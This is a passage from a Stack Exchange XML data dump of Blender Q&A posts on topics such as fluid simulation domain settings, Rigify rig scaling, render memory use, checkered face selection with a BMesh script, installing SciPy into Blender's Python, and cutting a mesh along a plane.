here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the motion. You could either animate the motion or use &lt;em&gt;rigid body physics&lt;/em&gt;, in the above case it's probably easiest to animate them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Fluid modifier&lt;/em&gt; to one of the objects and set the type to &lt;em&gt;Obstacle&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all the objects which will be falling in (selecting the one with the fluid modifier last so it is the active object) and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Modifiers&lt;/em&gt;. This will copy all the modifiers on the active object to the selected objects, including the fluid modifier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Configure the fluid settings of the domain object as desired (see below)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the domain object and bake the fluid simulation in &lt;em&gt;Physics &gt; Fluid &gt; Domain&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Domain Settings:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The settings in the domain object are as follows:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid/Domain#Options&quot;&gt;&lt;em&gt;Fluid&lt;/em&gt; panel&lt;/a&gt;:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Simulation Threads&lt;/em&gt;: The number of &lt;a href=&quot;http://en.wikipedia.org/wiki/Thread_%28computing%29&quot;&gt;threads&lt;/a&gt; to use for multithreading the baking process. (&lt;code&gt;0&lt;/code&gt; automatically picks, you can probably leave it the way it is)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Resolution&lt;/em&gt;: You can bake two different resolutions, this is useful for having a low resolution place-holder in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Final&lt;/em&gt;: The resolution to bake the &lt;em&gt;Final&lt;/em&gt; quality results at.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Preview&lt;/em&gt;: The resolution to bake the &lt;em&gt;Preview&lt;/em&gt; quality results at.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render Display: The bake quality to use in the render. The options are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Final&lt;/em&gt;: Use the &lt;em&gt;Final&lt;/em&gt; bake resolution in the render&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Preview&lt;/em&gt;: Use the &lt;em&gt;Preview&lt;/em&gt; bake resolution in the render&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Geometry&lt;/em&gt;: Use the original geometry of the domain object in the render&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Viewport display&lt;/em&gt;: The bake quality to use in the 3D view. The options are the same as &lt;em&gt;Render Display&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Time&lt;/em&gt;: Note that baking always starts on frame 1, these settings control the behavior of the fluid (e.g. for slow motion effects)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Start&lt;/em&gt;: The number of seconds into the simulation to start caching data. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;End&lt;/em&gt;: The simulation time of the scene &lt;em&gt;End frame&lt;/em&gt; in seconds.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Generate Speed Vectors&lt;/em&gt;: Record vector information in the cache (useful for motion blur)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Reverse Frames&lt;/em&gt;: Reverse the fluid frames&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Speed&lt;/em&gt;: Rate of motion of the fluid. (&lt;code&gt;0&lt;/code&gt; = static, &lt;code&gt;1&lt;/code&gt; = normal)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Offset&lt;/em&gt;: Number of frames to offset reading of the cache. This is the only setting which you can still change after baking.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Bake Path&lt;/em&gt;: Location on the system to read and write fluid cache files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid/Domain#Domain_World&quot;&gt;&lt;em&gt;Fluid World&lt;/em&gt; panel&lt;/a&gt;:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Gravity&lt;/em&gt;: Force of gravitational pull on each axis. If &lt;em&gt;Gravity&lt;/em&gt; is enabled in &lt;em&gt;Scene &gt; Gravity&lt;/em&gt;, this setting will not be editable from the physics panel. Instead change the values in &lt;em&gt;Properties editor &gt; Scene &gt; Gravity&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Viscosity&lt;/em&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Base&lt;/em&gt;: The viscosity of the fluid&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Exponent&lt;/em&gt;: The exponent that is used to make entering small values in the &lt;em&gt;Base&lt;/em&gt; value easier. The end &lt;em&gt;Base&lt;/em&gt; value is equal to &lt;code&gt;base*10^(exponent*-1)&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Real World Size&lt;/em&gt;: Size of the longest axis of the domain in real world meters. This setting does not affect the size of the domain in the scene, but rather the way the fluid behaves. (e.g. If you wanted to simulate fluid in a glass and your domain is slightly larger than the glass, you would set this to roughly the size of a glass in the real world)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Optimization&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Grid levels&lt;/em&gt;: Number of lower resolution grid levels to use in the simulation. &lt;code&gt;-1&lt;/code&gt; is automatic.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Compressibility&lt;/em&gt;: Amount to allow standing fluid to be compressed&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid/Domain#Domain_Boundary&quot;&gt;&lt;em&gt;Fluid Boundary&lt;/em&gt;&lt;/a&gt; panel:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Slip type&lt;/em&gt;: Collsision settings for the domain boundary. These settings are the same as on &lt;em&gt;Obstacle&lt;/em&gt; objects. The options are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;No Slip&lt;/em&gt;: Fluid sticks to the obstacle surface&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Free Slip&lt;/em&gt;: Fluid runs freely on the obstacle surface.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Partial Slip&lt;/em&gt;: Mix of &lt;em&gt;No Slip&lt;/em&gt; and &lt;em&gt;Free Slip&lt;/em&gt;. (&lt;code&gt;0&lt;/code&gt; = &lt;em&gt;No Slip&lt;/em&gt;, &lt;code&gt;1&lt;/code&gt; = &lt;em&gt;Free Slip&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Surface&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Smoothing&lt;/em&gt;: Amount to smooth surface. (&lt;code&gt;0&lt;/code&gt; = none, &lt;code&gt;1&lt;/code&gt; = normal, &lt;code&gt;&amp;gt;1&lt;/code&gt; = more than normal). Note that you can also non-destructively smooth the fluid after the back with a &lt;em&gt;Smooth modifier&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Subdivisions&lt;/em&gt; Number of subdivisions on the mesh&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Remove air bubbles&lt;/em&gt;: Remove the gap between the fluid and obstacles. Note that this can result in a dissolving the surface in other places.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid/Domain#Domain_Particles&quot;&gt;&lt;em&gt;Fluid Particles&lt;/em&gt;&lt;/a&gt; panel:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Tracer:&lt;/em&gt; The number of tracer particles to be created in the fluid when the simulation starts.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Generate&lt;/em&gt;: The number of fluid particles to generate. Note that you must have &lt;em&gt;Subdivisions&lt;/em&gt; set to at least &lt;code&gt;2&lt;/code&gt; for this to affect the result.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid/Domain#Fluid_Domain&quot;&gt;the wiki for more info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Some things to note:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Modifiers must be applied in order to affect the fluid simulation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other notes from the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid/Domain#Notes&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Unique domain&lt;/strong&gt;&lt;br&gt;&#xA;   Because of the possibility of spanning and linking between scenes, there can only be one domain in an entire .blend file. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Selecting a Baked Domain&lt;/strong&gt;&lt;br&gt;&#xA;   After a domain has been baked, it changes to the fluid mesh. To re-select the domain so that you can bake it again after you have made&#xA;  changes, go to any frame and select (RMB Template-RMB.png) the fluid&#xA;  mesh. Then you can click the BAKE button again to recompute the fluid&#xA;  flows inside that domain. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Baking always starts at Frame #1:&lt;/strong&gt;&lt;br&gt;&#xA;   The fluid simulator disregards the Sta setting in the Anim panel, it will always bake from frame 1. &#xA;      If you wish the simulation to start later than frame 1, you must key the fluid objects in your domain to be inactive until the frame&#xA;  you desire to start the simulation. See below for more information. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Baking always ends at the End Frame set in the Anim panel:&lt;/strong&gt;&lt;br&gt;&#xA;   If your frame-rate is 25 frames per second, and ending time is 4.0 seconds, then you should (if your start time is 0) set your animation&#xA;  to end at frame 4.0 × 25 = 100. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Freeing the previous baked solutions&lt;/strong&gt;&lt;br&gt;&#xA;   Deleting the content of the “Bake” directory is a destructive way to achieve this. Be careful if more than one simulation uses the same&#xA;  bake directory (be sure they use different filenames, or they will&#xA;  overwrite one another)! &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Reusing Bakes&lt;/strong&gt;&lt;br&gt;&#xA;   Manually entering (or searching for) a previously saved (baked) computational directory and filename mask will switch the fluid flow&#xA;  and mesh deformation to use that which existed during the old bake.&#xA;  Thus, you can re-use baked flows by simply pointing to them in this&#xA;  field. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Baking processing time&lt;/strong&gt;&lt;br&gt;&#xA;      Baking takes a lot of compute power (hence time). Depending on the scene, it might be preferable to bake overnight. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the mesh has modifiers, the rendering settings are used for exporting the mesh to the fluid solver. Depending on the setting,&#xA;  calculation times and memory use might exponentially increase. For&#xA;  example, when using a moving mesh with Subsurf as an obstacle, it&#xA;  might help to decrease simulation time by switching it off, or to a&#xA;  low subdivision level. When the setup/rig is correct, you can always&#xA;  increase settings to yield a more realistic result.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-05T04:23:35.367" LastActivityDate="2013-12-05T04:23:35.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5307" PostTypeId="1" AcceptedAnswerId="5308" CreationDate="2013-12-04T22:09:25.907" Score="4" ViewCount="2162" Body="&lt;p&gt;I'm planning to use Rigify to add some movement to some human models. The human models are made to the scale I need them in for the scenes. However, I watched Blender Cookie's tutorial on using Rigify where the presenter says to simply scale up/down your mesh to match the meta-rig. While I'm sure this works, I'll end up with my characters being the wrong scale for my project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the proper workflow for using Rigify while maintaining the mesh's original scale?&lt;/p&gt;&#xA;" OwnerUserId="537" LastActivityDate="2013-12-05T05:12:58.733" Title="Rigify - Mesh Scale" Tags="&lt;rigging&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5308" PostTypeId="2" ParentId="5307" CreationDate="2013-12-04T22:31:34.747" Score="4" Body="&lt;p&gt;The workflow I recommend when using Rigify:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Confirm the character's scale and proportion related to their environment and props, then apply character's transformation (otherwise, an accidental scale reset could ruin the rig),&lt;/li&gt;&#xA;&lt;li&gt;Carefully adjust the metarig to the character's scale and proportions,&lt;/li&gt;&#xA;&lt;li&gt;Generate final rig from the metarig.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Adjusting metarig scale is preferable than fixing final rig. That's because if a character's scale or proportion is changed, and the final rig must be adjusted, the proper procedure is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unhide all bone layers.&lt;/li&gt;&#xA;&lt;li&gt;Make &lt;code&gt;VIS-&lt;/code&gt; (visualization helper) bones selectable,&lt;/li&gt;&#xA;&lt;li&gt;Adjust all bones in the rig to new character proportion,&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you use &lt;em&gt;Complex Arm/Leg Rig&lt;/em&gt;, so that the hand and feet use 2 bones for each segments, carefully readjust both segments, keeping them aligned,&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Reset all constraints affected by the change, especially &lt;em&gt;Stretch To&lt;/em&gt;,&lt;/li&gt;&#xA;&lt;li&gt;Reset unselectable all &lt;code&gt;VIS-&lt;/code&gt; bones.&lt;/li&gt;&#xA;&lt;li&gt;Re-adjust custom shapes, because length change affects custom shape's size.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, confirm character scale, and try not to adjust rig scale after generating. That'll save a lot of your time.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-12-05T05:12:58.733" LastActivityDate="2013-12-05T05:12:58.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5309" PostTypeId="1" AcceptedAnswerId="5453" CreationDate="2013-12-05T01:40:20.677" Score="17" ViewCount="5335" Body="&lt;p&gt;I understand what &lt;em&gt;Multiple Importance Sampling&lt;/em&gt; (or MIS) does, but are there any drawbacks to using it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When should MIS be used?&lt;br&gt;&#xA;Is there any case where one would not want to use it?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-09T09:32:09.900" LastActivityDate="2013-12-11T18:14:17.530" Title="When should MIS be used and when should it be disabled?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5310" PostTypeId="2" ParentId="5242" CreationDate="2013-12-05T02:50:51.690" Score="1" Body="&lt;p&gt;Got it! :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#_CAPPED STATUS:&#xA;aroundX = logic.getCurrentController().owner.worldOrientation.to_euler().x      #_getting rotation direction: + on Up &amp;amp; - on Down&#xA;capped = False                                                                  #_capped is &quot;False&quot; as default&#xA;if (aroundX &amp;gt; 1.3 and y &amp;gt; 0) or (aroundX &amp;lt; -1.1 and y &amp;lt; 0) == True:     #_capped becomes &quot;True&quot; when  it has to&#xA;    capped = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;y shows the mouse movement's 2nd coordinate&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2013-12-05T02:50:51.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5311" PostTypeId="1" AcceptedAnswerId="13744" CreationDate="2013-12-05T08:47:47.427" Score="3" ViewCount="8915" Body="&lt;p&gt;I get this error working with Blender while I try to assigning armature's bones to an human mesh.&lt;/p&gt;&#xA;" OwnerUserId="1762" LastEditorUserId="72" LastEditDate="2014-07-03T19:40:02.107" LastActivityDate="2016-09-19T08:11:41.053" Title="Blender assign armature to mesh: “bone heat weighting failed to find solution for one or more bones”" Tags="&lt;armature&gt;&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5313" PostTypeId="1" AcceptedAnswerId="5314" CreationDate="2013-12-05T10:21:46.587" Score="3" ViewCount="430" Body="&lt;p&gt;I am currently rendering a animation and it will take a long time but before I let it run for hrs I want to know if every frame of the animation is stored in RAM because my PC only has 2 GB and I don't want blender to stop half way through and have to start again. If this is a issue is there a way to render part of a animation and do the rest later?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2013-12-05T10:35:58.430" Title="Is every frame of a animation stored in RAM" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5314" PostTypeId="2" ParentId="5313" CreationDate="2013-12-05T10:35:58.430" Score="6" Body="&lt;p&gt;No, they're not stored in RAM. For image sequence output, each frame rendered will be immediately written to the disk. Even video output using FFMPEG directly writes to the disk by chunks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried rendering CG animation directly to video (not recommended) for hours, and there's no sign of increasing memory usage over time.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-12-05T10:35:58.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5315" PostTypeId="1" AcceptedAnswerId="5316" CreationDate="2013-12-05T11:11:18.337" Score="9" ViewCount="2880" Body="&lt;p&gt;I have an isosphere with 4k polygon. How do I delete only 2000 random polygons but not deleting adjacent of deleted polygon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT -- clarification&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine a chessboard, let say white = stay, black = to be deleted. The minimum distance between 2 nearest black is white (which is same distance of black). As @DavidS. puts it, &quot;checkered pattern selection&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, out of 4k, I'd like to delete half of it.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="12" LastEditDate="2013-12-06T01:28:53.643" LastActivityDate="2013-12-06T01:28:53.643" Title="How to randomly (with a checkered pattern) select a number of faces in a mesh?" Tags="&lt;modeling&gt;&lt;editing&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5316" PostTypeId="2" ParentId="5315" CreationDate="2013-12-05T11:25:15.420" Score="11" Body="&lt;p&gt;Go to the icosphere's &lt;em&gt;Edit&lt;/em&gt; mode with &lt;strong&gt;Face&lt;/strong&gt; selection, execute &lt;strong&gt;Select&lt;/strong&gt; &gt; &lt;strong&gt;Random&lt;/strong&gt;, set &lt;em&gt;Percent&lt;/em&gt; to 50%:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0iXwU.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It won't select exactly 50% of the faces, but close enough that only a few additional manual (de)selection is needed. Then execute Delete &lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;em&gt;Only Faces&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see exactly how many faces were selected by looking at the &lt;em&gt;Info&lt;/em&gt; view header &lt;img src=&quot;https://i.stack.imgur.com/pQWU8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Non-Adjacent Selection&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I use this occasion to learn BMesh, and come up with this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;obj = bpy.context.object&#xA;prev_mode = obj.mode&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;bm = bmesh.new()&#xA;bm.from_mesh(obj.data)&#xA;&#xA;bm.faces[0].select = True&#xA;selected_edges = list(bm.faces[0].edges)&#xA;for face in bm.faces:&#xA;    sl = [(edge in selected_edges) for edge in face.edges]&#xA;    if any(sl):&#xA;        continue&#xA;    selected_edges.extend(face.edges)&#xA;&#xA;    face.select = True&#xA;print('*' * 10)&#xA;&#xA;bm.to_mesh(obj.data)&#xA;bpy.ops.object.mode_set(mode=prev_mode)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unlike &lt;em&gt;Checker Deselect&lt;/em&gt; mentioned by @CoDEmanX, it only selects less than half of the faces in an icosphere. I think those strips can't be selected without breaking the non-adjacency requirement:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pAxVb.png&quot; alt=&quot;3a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-12-05T21:56:24.360" LastActivityDate="2013-12-05T21:56:24.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5317" PostTypeId="2" ParentId="5287" CreationDate="2013-12-05T12:18:11.793" Score="5" Body="&lt;p&gt;See this one too, it grabs the correct version for blenders python, unlike the method below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/56011/how-to-use-pip-with-blenders-bundled-python/56013#56013&quot;&gt;How to use PIP with Blender&amp;#39;s bundled Python?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By the way, I'm working on Linux 64 bit and I've installed SciPy and&#xA;  Numpy with my package manager.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You want to look for your installation directory of your system pythons scipy by importing the module in the console and using the __path__ method. It should print out the path where the module is located. That should point you to a folder named &quot;site-packages&quot; where the scipy folder should be in. Copy the whole scipy folder into the &quot;site-packages&quot; folder in the blender python version. Should be following a similar path as your system python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, for me it didn't, check if the version you installed is compatible with blender's python version. If it does but it still doesn't work, you can also try to download an appropriate source code package. Installation is really simple on linux. Should work with &quot;python3 setup.py install&quot; in the folder of the downloaded source code package where the setup.py is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The copying of the site package contents works for me on windows as well. I used the winpython package for that.&lt;/p&gt;&#xA;" OwnerUserId="795" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2016-06-16T09:27:27.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5318" PostTypeId="1" CreationDate="2013-12-05T15:06:18.467" Score="6" ViewCount="1982" Body="&lt;p&gt;I'm interested in architectural illustration and always find it hard to get a realistic outdoor lighting (shinny/cloudy).&#xA;Can you provide settings/tutorials for that?&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2013-12-05T17:13:20.997" Title="Realistic Outdoor Lighting in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" ClosedDate="2013-12-05T21:47:32.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="5319" PostTypeId="2" ParentId="5318" CreationDate="2013-12-05T17:13:20.997" Score="6" Body="&lt;p&gt;For quick results you could setup an environment texture in the world properties.  For this examples I used a free example from &lt;a href=&quot;http://www.hdri-hub.com/hdrishop/freesamples/freehdri/item/113-hdr-111-parking-space-free&quot; rel=&quot;nofollow noreferrer&quot;&gt;hdri-hub&lt;/a&gt;. Note that this only works for stills an animation would look weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also create your own panorama pictures (with limited quality) with a smartphone or tablet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4FM70.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-05T17:13:20.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5320" PostTypeId="1" CreationDate="2013-12-05T20:21:07.717" Score="60" ViewCount="204134" Body="&lt;p&gt;I have a mesh which I have imported from an OBJ file. I would like to apply Material A to the section of the mesh which is on one side of a given plane, and apply Material B to the section of the mesh which is on the other side of that plane. A potential plane is indicated here as a blue line. Note that it does not necessarily intersect the centre.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/21YOL.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, I need to split the any faces which intersect this plane, and select all faces on one side of the plane so that I can apply a material to them. How can I do this in the current versions of Blender?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've tried using the &lt;kbd&gt;K&lt;/kbd&gt; knife tool in &lt;kbd&gt;Z&lt;/kbd&gt; cut-through mode, but the cuts haven't been reliable. Even when they were, after the cut was finished I  couldn't figure out how to select only the faces on one side of the cut. (The details were too fine to be reliably selected with any tools I know, such as the &lt;kbd&gt;C&lt;/kbd&gt; circle select tool.) I tried using the &lt;kbd&gt;B&lt;/kbd&gt; selection tool, but it only selected the faces on the near-side of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We used to have a procedure to cut a mesh using a plane in Blender 2.4, but it involved using mesh boolean tools which appear to have been replaced, and I can't figure out how to adapt it.&lt;/p&gt;&#xA;" OwnerUserId="282" LastEditorUserId="282" LastEditDate="2017-02-27T18:12:53.400" LastActivityDate="2019-12-05T12:32:48.340" Title="Cutting a mesh in half" Tags="&lt;modeling&gt;&lt;knife-tool&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="23" ContentLicense="CC BY-SA 3.0" />
